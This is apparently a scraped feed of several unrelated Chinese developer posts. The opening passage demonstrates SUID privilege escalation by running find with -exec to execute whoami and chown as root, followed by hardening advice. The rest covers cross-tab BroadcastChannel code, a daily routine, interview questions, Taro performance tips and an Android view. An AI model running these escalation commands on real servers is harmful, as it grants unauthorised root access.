好的,让我们来探讨一下用户权限的问题。目前我的用户权限是www,但是我想要获得root权限。这时候我们可以考虑一下suid提权的相关内容。SUID(Set User ID)是一种Linux/Unix权限设置,允许用户在执行特定程序时以该程序所有者的权限来运行。然而,SUID提权也是一种安全漏洞,黑客可能会利用它来获取未授权的权限。为了给大家演示一下,我特意将我的服务器上的find命令设置了suid提权。我们执行一下find index.php -exec whoami \;命令,如果find没有设置suid提权的话,它仍然会以www用户身份输出结果。所以,通过-exec ***这个参数,我省略了需要执行的命令,我们可以来查看一下index.php的权限所有者信息。


image


我来执行一下 find index.php -exec chown www:index.php \; 试一试看看是否可以成功,哎呦,大功告成。我再次去保存一下文件内容看看是否可以保存成功。


image


果不其然,我们的推测是正确的。保存文件失败的问题确实是由于权限问题引起的。只有当我将文件的所有者更改为当前用户时,才能顺利保存成功。


image


让我们现在来看一下进行这些保存后的效果如何。


image


总结


当然了,黑客的攻击手段有很多。除了自己做一些简单的防护措施外,如果有经济条件,建议购买正规厂商的服务器,并使用其安全版本。例如,我在使用腾讯云的服务器进行攻击时,会立即触发告警并隔离病毒文件。在最次的情况下,也要记得拔掉你的网线,以防攻击波及到其他设备。


在这篇文章中,我仅仅演示了使用浏览器URL地址参数和find提权进行安全漏洞渗透的一些示例。实际上,针对URL地址渗透问题,现在已经有很多免费的防火墙可以用来阻止此类攻击。我甚至不得不关闭我的宝塔面板的免费防火墙才能成功进入系统,否则URL渗透根本无法进行。


至于find提权,你应该在Linux服务器上移除具有提权功能的命令。这是一种非常重要的安全措施,以避免未经授权的访问。通过限制用户权限和删除一些危险命令,可以有效防止潜在的攻击。


总而言之,我们应该时刻关注系统的安全性,并采取必要的措施来保护我们的服务器免受潜在的攻击。


作者:努力的小雨
来源:juejin.cn/post/7304263961238143011
收起阅读 »

浏览器跨标签星球火了,简单探究一下实现原理

web
一、前言 最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!! 准备自己也搞搞玩一下 二、实现 原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的...
继续阅读 »

output3.gif


一、前言


最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!!


准备自己也搞搞玩一下


output3.gif


二、实现


原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的拖拽实现一个可以变幻的例子来学习一下原理, 后续在实现一个稍微复杂的多窗口的小游戏。关于粒子动画的内容,有兴趣的小伙伴可以自己实现


其实实现类似的功能需要的难点并不多,不在乎以下几个步骤



  • 1、 屏幕坐标和窗口坐标转换

  • 2、 跨标签通讯


1、 先来看第一个点, 获取屏幕坐标与窗口坐标


// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

我们先简单实现一个卡片, 通过url上面传递颜色值, 设置定位


在卡片本上设置上点击拖动等事件


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>


2、 跨标签传输


单个元素的拖动就实现了, 很简单, 如何让其他标签的元素也能同步进行, 需要实现跨标签方案了, 可以参考该文章- 跨标签页通信的8种方式


我们就选择第一种,使用 BroadCast Channel, 使用也很简单


// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
console.log('接收',event)
};
// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

只需要在移动时发送消息, 再其他标签页就可以接收到值了, 现在关键的就是收到发送的坐标点后, 如何处理, 其实关键就是要让几个窗口的卡片位置转化到同一个纬度, 让其再超出浏览器的时候,再另一个窗口的同一个位置出现, 所以就需要将窗口坐标转化成屏幕坐标,发送给其他窗口后, 再转化成窗口坐标进行渲染即可


// 鼠标移动发送消息的时候,窗口坐标转化成屏幕坐标
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);

// 接收消息的时候,屏幕坐标转化成窗口坐标
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

完整代码,在最下面


三、总结


本文通过移动一个简单的图形, 在不同浏览器之间穿梭变换, 初步体验了多个浏览器之间如何进行交互, 通过拖拽元素,通过跨标签的通讯, 将当前窗口元素的位置进行发送, 另一个窗口进行实时接收, 然后通过屏幕坐标和窗口坐标进行转换, 就能实现,从一个浏览器拖动到另一个浏览器时, 变化元素颜色的功能了, 当然变化背景色只是举例子, 你也可以变化扑克牌, 变化照片, 这样看起来像变魔术一样,非常神奇,看似浏览器不同标签之间没有联系,当以这种方式产生联系后, 就会产生很多不可思议的神奇事情。 就像国外大神的多标签页的两个星球粒子, 产生吸引 融合的效果。原理其实是一样的。


后续前瞻


在通过小demo的学习,知道多浏览器的玩法后, 接下来的我们会实现一个更有意思的小游戏,通过浏览器化身一个小木棒, 接小球游戏, 先看一下 gif, 接下来的文章会写具体实现


output3.gif


完整代码实现如下


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>

作者:重阳微噪
来源:juejin.cn/post/7304598711992598566
收起阅读 »

杭州程序员打工的一天

关于早晨 8:40 闹钟搅乱我一池美梦,手伸出去探手机,窝在被子里睁开惺忪的双眼扫了一眼手机,略刷个十分钟强制让自己开机,家人们这种痛苦谁能懂? 8:50 起床洗漱换衣服 9:10 戴上耳机就出门,骑着我的小毛驴一边听音乐一边拼命赶路。P.S. ...
继续阅读 »

关于早晨



  • 8:40 闹钟搅乱我一池美梦,手伸出去探手机,窝在被子里睁开惺忪的双眼扫了一眼手机,略刷个十分钟强制让自己开机,家人们这种痛苦谁能懂?


1101700819100_.pic.jpg




  • 8:50 起床洗漱换衣服




  • 9:10 戴上耳机就出门,骑着我的小毛驴一边听音乐一边拼命赶路。P.S. 今天循环了一整天阿梨粤的《晚风心里吹》




  • 9:30 每天都庆幸踩点到,然后刷脸打卡




  • 9:35 开始洗杯子接水坐在工位前开启今天一天的工作




1121700819101_.pic.jpg



  • 11:40 结束上午工作,骑上我的小毛驴准备回家


关于中午



  • 11:55 到家,不太想吃外卖,所以到家开始简单弄点吃的


1091700819099_.pic.jpg




  • 12:05 全身心放松下来,一边干饭一边刷剧(最近迷恋韩剧,顺便学点韩语)




  • 12:25 准备午睡,抱着🐱睡大约1h




  • 13:20 带上耳机骑上我心爱的小毛驴穿梭蒋墩路




  • 13:40 准点到公司,开启下午的工作(偶尔,不小心睡过头就是两点到)




1071700819098_.pic.jpg



  • 15:00 下午茶,顺便瞄一眼基金(惨不忍睹,我真想哭😭)


1.jpg



  • 18:40 结束一天工作,over~


关于晚上



  • 19:00 到家,瘫着,然后跟🐱互动,最后顺便铲下💩,🤮


WechatIMG126.jpg




  • 19:40 开启扫地机开始打扫,同时开始洗香香🧼




  • 20:20 晚上一般不吃饭,一边看韩剧一边干点零食




  • 22:20 学韩语大约半小时




1051700819097_.pic.jpg




  • 22:50 刷牙洗脸,躺床上思考人生,顺便YY自己暴富的场景




  • 23:00 大约这时就进入梦乡了,开始做暴富的梦~




结尾


日子就在这种平凡且无趣的时光里一天天缓缓度过。相对来说,我的生活比较轻松,压力也比较小,但是我也有在试图学些什么来打破这“温水煮青蛙”的生活,比如:学习别国语言,尝试去写作来记录我平凡乏味的生活。怎么说呢?不管怎样,也许从我踏出第一步的时候就已经算是小小的成功了吧!共勉~


1111700819100_.pic.jpg


作者:落完这场雨
来源:juejin.cn/post/7304888432735617064
收起阅读 »

一周的努力化为泡影,前端找工作是很难

web
这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget...
继续阅读 »

这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget,二面面试官迟到了10分钟,然后面了半个小时不到,面试官匆匆结束面试,整个过程我也没觉得讲的多差,反正草草收场让我有点懵逼,我后来问HR说没有后续了,很可能我是被当成KPI了。下周继续努力吧!!!


以下是我这周的面试题。


1. 天学网


面试时间


一面:2023/11/06 10:00 腾讯会议


二面:2023/11/07 19:00 腾讯会议


一面问题




  1. 自我介绍

  2. 介绍一下你在上家公司的主要工作

  3. 介绍一个你之前过往工作中最满意的一个项目

  4. 你在这个项目中做的性能优化的事情有哪些?

  5. webworker中为什么能提升js执行的性能?

  6. 你是怎么使用webworker的?

  7. 浏览器内存你在实战中处理过吗?

  8. 浏览器的垃圾回收机制是什么样的?

  9. 你在做微前端的时候,为什么选择qiankun

  10. qiankun的原理了解哪些

  11. 你在使用qiankun的时候,有没有发现这个框架的不足之处

  12. 使用ts的时候,有没有什么心得

  13. ts注解用过没有?是什么?

  14. webpack熟悉吗?webpack打包流程是什么?

  15. 你在公司制定前端规范的时候,都有哪些内容

  16. 场景题:答案评分,根据给定的答案和作答打分,如何设计?



二面问题




  1. 问了一下工作经历

  2. 说一个自己的满意的项目

  3. 业务场景:负责的项目,用户反馈体验不友好,该如何优化



做教学工具的,也算是教育行业,下周二面。


2. 小黑盒


面试时间


一面:2023/11/06 15:00 牛客网面试


面试问题




  1. coding

    1. 中位数

    2. 孩子发糖果

    3. 无重叠区间





错一个直接挂。。。无情哈拉少。


3. bitget


面试时间


一面:2023/11/07 16:00 腾讯会议面试


一面问题




  1. 自我介绍

  2. 小程序跟H5的区别是什么?

  3. react和vue的语法是是如何在小程序中运行的?

  4. uni-app是如何打包成各个平台能运行的代码的?

  5. vue3中做了哪些优化?

  6. vue2和vue3的响应式有什么区别?

  7. vue中的watchEffect是什么?

  8. nextjs中运行时机制什么样?你们自己封装的还是?

  9. interface和type的区别是什么?

  10. vite、webpack、roolup的区别是什么?你怎么选择

  11. promise有哪些方法?

  12. coding题

  13. 手写Promise.all



二面问题




  1. 自我介绍

  2. 工作经历

  3. 为什么一直在教育行业

  4. 前端监控如何设计

  5. 讲一个你过往项目中遇到的问题,如何解决的



感觉更像是在搞KPI,最后二面草草结束,也没给我机会提问题。


4. 冲云破雾科技


面试时间


2023-11-08 16:00


薪资范围


30-50K 16薪


面试问题




  1. 自我介绍

  2. 数组乱序

  3. 一个数组,里面是[{name: 'xxx', 'age': 12, ....}],请根据name或者age进行排序,如果name中有中文是如何排序的

  4. 在vue中,v-modal是如何传递给子组件的

  5. 密码校验,要求包含大小写字母,数字,长度为6,至少满足三个条件

  6. 布局适配问题,响应式,rem,em,flex等



这是一家专门搞小程序算是,公司没有前端,跟第三方合作,面试我的也是第三方的前端,问的问题也比较偏业务场景。最后没啥结果了。


5. 燃数科技


薪资范围


25-40K*14薪


面试时间


2023/11/09 11:00-11:30


面试问题




  1. 自我介绍

  2. 低代码如何设计的

  3. react路由原理

  4. react生命周期

  5. 什么是回调地狱,如何解决

  6. jwt和session有什么区别

  7. js文件相互引用有什么问题?如何解决

  8. 一个很大的json文件,前端读取如何优化



面试我的不像是前端,更像是个后端,公司目前有两个前端,之前离职一个,现在想找一个填补空缺。做低代码可视化平台的。下周线下二面。


6. 58同城


面试时间


2023/11/10 10:30-11:30


面试题




  1. 自我介绍

  2. coding

    1. 三数之和

    2. 连续正整数之和



  3. 最新了解的一些前端新技术

    1. vite为什么比webpack快

    2. vite的预构建是如何做的

    3. tree-shaking是如何做的,commonjs能用吗



  4. 微前端了解过哪些框架,如何选型

    1. qiankun的js沙箱和css沙箱原理是啥



  5. 讲讲你做的低代码平台

    1. 你觉得这个低代码平台跟别的比有什么优势或者有什么亮点吗?

    2. 实时预览功能是如何做的?

    3. 有没有版本回退功能?



  6. 讲一个你做的比较拿手的项目

    1. SDK

    2. 脚手架

    3. 难点是什么?

    4. 技术亮点是什么?





总结面试不足:coding能力有待提高,项目对于大厂面试来说不够有亮点,难度不够,对于技术细节不够深入。下周继续加油,噢力给给!!!😭😭😭


如果你现在正在找工作,可以关注一下我的公众号「白哥学前端」,进群领取前端面试小册,和群友一起交流。本群承诺没有任何交易,没有买卖,权当为了督促我自己,也为了找到志同道合的道友一起渡劫。


作者:白哥学前端
来源:juejin.cn/post/7299392213481439243
收起阅读 »

大部分公司都是草台班子,甚至更水

我第一份实习是在一家咨询公司,我以为我们能够给我们的客户提供极具商业价值的战略指导,但其实开始干活了之后,发现我们就是PPT和调研报告的搬运工。后来我去了一家互联网大厂,我以为我的身边全都是逻辑超强的技术和产品大佬,直到我们的产品带着一堆的bug上线了.......
继续阅读 »

我第一份实习是在一家咨询公司,我以为我们能够给我们的客户提供极具商业价值的战略指导,但其实开始干活了之后,发现我们就是PPT和调研报告的搬运工。后来我去了一家互联网大厂,我以为我的身边全都是逻辑超强的技术和产品大佬,直到我们的产品带着一堆的bug上线了......


大四秋招的时候,我跟一个应届生一起面试,他简历上写了精通数据分析,还有很多获奖。我当时很羡慕他的能力,直到一起入职之后发现他只会用Excel......


刚从学生变成打工人的时候,我觉得每一家公司都是一个严丝合缝,非常精密的巨大的仪器,我要达到某一个水平或者有某种资质,我才能够去做一些工作,或者达到一些成就。但后来随着工作久了,我就想明白了一件事情,让我觉得之前的班真是白上了。


其实一个公司它的运营机制,并不是有很多个有远见的领导把规划都想明白,然后再有很多个能力强的下属把这些规划全部落地,这种太理想化了。电影里都没有这么演的。公司的运营机制就是面多了就加水,水多就加面,所有的公司都是大的草台班子。这里边绝大多数的工作,它的粗糙程度都远超过我们的想象。我们根本不用陷入所谓的入场券陷阱,觉得别人都很厉害,别人都是科班出身的,我得像别人一样厉害,一样有资质了,我才能够去做,这只不过是我给我自己设的一个假想敌。


想明白这一点之后,我的焦虑和内耗就好多了。既然大家都很水,那在职场这个大的草台班子上,我如果不去争取机会,那就被还不如我的人抢走了。勇敢的人先享受生活,同样勇敢的打工人也会先当上生活中的主演。


在争取机会的过程中,难免你就会用到一些职场作弊小技巧,就是自我包装。身边就有几个这样的人,敢于勇敢地表现自己,让别人觉得他能够创造很多价值。包装造势在掠夺职场资源的竞争力是非常有效的。


包装的方式分为职业和爱好。在职场上一定不要沉迷那些琐碎的工作中无法自拔,不要显得自己每天都很忙,加班都很晚,效率低下偷懒的人才要加班,不要不满现状,导致不想思考,不要未经选择直接就开始低效率的行动,所以要适当的停下来,寻找自我包装的发力点。


就像我们公司今年越来越重视数据分析,所以我就利用下班的时间多学习了数据分析。包装它肯定不只是一句空话,不然用不了多久就露馅了,所以要找到快速高效的学习方法。


如果你的职业发展方向也是产品运营,市场数据分析类似的岗位,那就要尽早的培养起你的数据分析能力,用好SQL,Python,统计学还有Excel,这些都会帮助你去提取处理和分析数据,再结合上你所在行业的专业知识,技能buff叠加在职场中会非常的加分。


职场里其实并没有那么多很厉害的人,大家都是在现学现卖,反正都是在草台班上演戏,不妨大胆一点去探索新的东西,去尝试你想尝试的,去找到能够把自己包装好的那个点,然后去大大方方的展示和表现自己。


作者:程序员Winn
来源:juejin.cn/post/7304867278566899764
收起阅读 »

Taro | 高性能小程序的最佳实践

web
前言 作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。 熟悉 Taro...
继续阅读 »

前言


作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。


熟悉 Taro 的开发者应该知道,相比于 Taro 1/2,Taro 3 是一个更加注重运行时而轻量化编译时的框架。它的优势在于提供了更高效的代码编写方式,并拥有更丰富的生态系统。然而,这也意味着在性能方面可能会有一些损耗。


但是,使用 Taro 3 并不意味着我们必须牺牲应用的性能。事实上,Taro 已经提供了一系列的性能优化方法,并且不断探索更加极致的优化方案。


本文将为大家提供一些小程序开发的最佳实践,帮助大家最大程度地提升小程序应用的性能表现。


一、如何提升初次渲染性能


如果初次渲染的数据量非常大,可能会导致页面在加载过程中出现一段时间的白屏。为了解决这个问题,Taro 提供了预渲染功能(Prerender)。


使用 Prerender 非常简单,只需在项目根目录下的 config 文件夹中找到 index.js/dev.js/prod.js 三者中的任意一个项目配置文件,并根据项目情况进行修改。在编译时,Taro CLI 会根据你的配置自动启动预渲染功能。


const config = {
...
mini: {
prerender: {
match: 'pages/shop/**', // 所有以 `pages/shop/` 开头的页面都参与 prerender
include: ['pages/any/way/index'], // `pages/any/way/index` 也会参与 prerender
exclude: ['pages/shop/index/index'] // `pages/shop/index/index` 不用参与 prerender
}
}
};

module.exports = config


更详细说明请参考官方文档:taro-docs.jd.com/docs/preren…



二、如何提升更新性能


由于 Taro 使用小程序的 template 进行渲染,这会引发一个问题:所有的 setData 更新都需要由页面对象调用。当页面结构较为复杂时,更新的性能可能会下降。


当层级过深时,setData 的数据结构如下:


page.setData({
'root.cn.[0].cn.[0].cn.[0].cn.[0].markers': [],
})

期望的 setData 数据结构:


component.setData({
'cn.[0].cn.[0].markers': [],
})

目前有两种方法可以实现上述结构,以实现局部更新的效果,从而提升更新性能:


1. 全局配置项 baseLevel


对于不支持模板递归的小程序(例如微信、QQ、京东小程序等),当 DOM 层级达到一定数量后,Taro 会利用原生自定义组件来辅助递归渲染。简单来说,当 DOM 结构超过 N 层时,Taro 将使用原生自定义组件进行渲染(可以通过修改配置项 baseLevel 来调整 N 的值,建议设置为 8 或 4)。


需要注意的是,由于这是全局设置,可能会带来一些问题,例如:



  • 在跨原生自定义组件时,flex 布局会失效(这是影响最大的问题);

  • SelectorQuery.select 方法中,跨自定义组件的后代选择器写法需要增加 >>>:.the-ancestor >>> .the-descendant


2. 使用 CustomWrapper 组件


CustomWrapper 组件的作用是创建一个原生自定义组件,用于调用后代节点的 setData 方法,以实现局部更新的效果。


我们可以使用它来包裹那些遇到更新性能问题的模块,例如:


import { View, Text } from '@tarojs/components'

export default function () {
return (
<View className="index">
<Text>Demo</Text>
<CustomWrapper>
<GoodsList />
</CustomWrapper>
</View>

)
}

三、如何提升长列表性能


长列表是常见的组件,当生成或加载的数据量非常大时,可能会导致严重的性能问题,尤其在低端机上可能会出现明显的卡顿现象。


为了解决长列表的问题,Taro 提供了 VirtualList 组件和 VirtualWaterfall 组件。它们的原理是只渲染当前可见区域(Visible Viewport)的视图,非可见区域的视图在用户滚动到可见区域时再进行渲染,以提高长列表滚动的流畅性。


image


1. VirtualList 组件(虚拟列表)


以 React Like 框架使用为例,可以直接引入组件:


import VirtualList from '@tarojs/components/virtual-list'

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualList
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



2. VirtualWaterfall 组件(虚拟瀑布流)


以 React Like 框架使用为例,可以直接引入组件:


import { VirtualWaterfall } from `@tarojs/components-advanced`

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualWaterfall
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



四、如何避免 setData 数据量较大


众所周知,对小程序性能的影响较大的主要有两个因素,即 setData 的数据量和单位时间内调用 setData 函数的次数。在 Taro 中,会对 setData 进行批量更新操作,因此通常只需要关注 setData 的数据量大小。下面通过几个例子来说明如何避免数据量过大的问题:


例子 1:删除楼层节点要谨慎处理


目前 Taro 在处理节点删除方面存在一些缺陷。假设存在以下代码写法:


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
{isShowModal && <Modal />}
</View>

isShowModaltrue 变为 false 时,模态弹窗会消失。此时,Modal 组件的兄弟节点都会被更新,setData 的数据是 Slider + Goods 组件的 DOM 节点信息。


一般情况下,这不会对性能产生太大影响。然而,如果待删除节点的兄弟节点的 DOM 结构非常复杂,比如一个个楼层组件,删除操作的副作用会导致 setData 的数据量变大,从而影响性能。


为了解决这个问题,可以通过隔离删除操作来进行优化。


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
<View>
{isShowModal && <Modal />}
</View>

</View>

例子 2:基础组件的属性要保持引用


当基础组件(例如 ViewInput 等)的属性值为非基本类型时,假设存在以下代码写法:


<Map
latitude={22.53332}
longitude={113.93041}
markers={[
{
latitude: 22.53332,
longitude: 113.93041,
},
]}
/>

每次渲染时,React 会对基础组件的属性进行浅比较。如果发现 markers 的引用不同,就会触发组件属性的更新。这最终导致了 setData 操作的频繁执行和数据量的增加。 为了解决这个问题,可以使用状态(state)或闭包等方法来保持对象的引用,从而避免不必要的更新。


<Map
latitude={22.53332}
longitude={113.93041}
markers={this.state.markers}
/>

五、更多最佳实践


1. 阻止滚动穿透


在小程序开发中,当存在滑动蒙层、弹窗等覆盖式元素时,滑动事件会冒泡到页面上,导致页面元素也会跟着滑动。通常我们会通过设置 catchTouchMove 来阻止事件冒泡。


然而,由于 Taro3 事件机制的限制,小程序事件都是以 bind 的形式进行绑定。因此,与 Taro1/2 不同,调用 e.stopPropagation() 并不能阻止滚动事件的穿透。


解决办法 1:使用样式(推荐)


可以为需要禁用滚动的组件编写以下样式:


{
overflow:hidden;
height: 100vh;
}

解决办法 2:使用 catchMove


对于极个别的组件,比如 Map 组件,即使使用样式固定宽高也无法阻止滚动,因为这些组件本身具有滚动的功能。因此,第一种方法无法处理冒泡到 Map 组件上的滚动事件。 在这种情况下,可以为 View 组件添加 catchMove 属性:


// 这个 View 组件会绑定 catchtouchmove 事件而不是 bindtouchmove
<View catchMove />

2. 跳转预加载


在小程序中,当调用 Taro.navigateTo 等跳转类 API 后,新页面的 onLoad 事件会有一定的延时。因此,为了提高用户体验,可以将一些操作(如网络请求)提前到调用跳转 API 之前执行。


对于熟悉 Taro 的开发者来说,可能会记得在 Taro 1/2 中有一个名为 componentWillPreload 的钩子函数。然而,在 Taro 3 中,这个钩子函数已经被移除了。不过,开发者可以使用 Taro.preload() 方法来实现跳转预加载的效果:


// pages/index.js
Taro.preload(fetchSomething())
Taro.navigateTo({ url: '/pages/detail' })

// pages/detail.js
console.log(getCurrentInstance().preloadData)

3. 建议把 Taro.getCurrentInstance() 的结果保存下来


在开发过程中,我们经常会使用 Taro.getCurrentInstance() 方法来获取小程序的 apppage 对象以及路由参数等数据。然而,频繁地调用该方法可能会导致一些问题。


因此,建议将 Taro.getCurrentInstance() 的结果保存在组件中,并在需要时直接使用,以避免频繁调用该方法。这样可以提高代码的执行效率和性能。


class Index extends React.Component {
inst = Taro.getCurrentInstance()

componentDidMount() {
console.log(this.inst)
}
}

六、预告:小程序编译模式(CompileMode)


Taro 一直追求并不断突破性能的极限,除了以上提供的最佳实践,我们即将推出小程序编译模式(CompileMode)。


什么是 CompileMode?


前面已经说过,Taro3 是一种重运行时的框架,当节点数量增加到一定程度时,渲染性能会显著下降。 因此,为了解决这个问题,Taro 引入了 CompileMode 编译模式。


CompileMode 在编译阶段对开发者的代码进行扫描,将 JSXVue template 代码提前编译为相应的小程序模板代码。这样可以减少小程序渲染层虚拟 DOM 树节点的数量,从而提高渲染性能。 通过使用 CompileMode,可以有效减少小程序的渲染负担,提升应用的性能表现。


如何使用?


开发者只需为小程序的基础组件添加 compileMode 属性,该组件及其子组件将会被编译为独立的小程序模板。


function GoodsItem () {
return (
<View compileMode>
...
</View>

)
}


目前第一阶段的开发工作已经完成,我们即将发布 Beta 版本,欢迎大家关注!
想提前了解的可以查看 RFC 文档: github.com/NervJS/taro…



结尾


通过采用 Taro 的最佳实践,我们相信您的小程序应用性能一定会有显著的提升。未来,我们将持续探索更多优化方案,覆盖更广泛的应用场景,为开发者提供更高效、更优秀的开发体验。


作者:凹凸实验室
来源:juejin.cn/post/7304584222963613715
收起阅读 »

Android自定义控件:一款多特效的智能loadingView

先上效果图(如果感兴趣请看后面讲解): 1、登录效果展示 2、关注效果展示 1、【画圆角矩形】 画图首先是onDraw方法(我会把圆代码写上,一步一步剖析): 首先在view中定义个属性:private RectF rectf = new RectF();...
继续阅读 »

先上效果图(如果感兴趣请看后面讲解):


1、登录效果展示


img


2、关注效果展示


img


1、【画圆角矩形】


画图首先是onDraw方法(我会把圆代码写上,一步一步剖析): 首先在view中定义个属性:private RectF rectf = new RectF();//可以理解为,装载控件按钮的区域


rectf.left = current_left;
rectf.top = 0; //(这2点确定空间区域左上角,current_left,是为了后面动画矩形变成等边矩形准备的,这里你可以看成0)
rectf.right = width - current_left;
rectf.bottom = height; //(通过改变current_left大小,更新绘制,就会实现了动画效果)
//画圆角矩形
//参数1:区域
//参数2,3:圆角矩形的圆角,其实就是矩形圆角的半径
//参数4:画笔
canvas.drawRoundRect(rectf, circleAngle, circleAngle, paint);

2、【确定控件的大小】


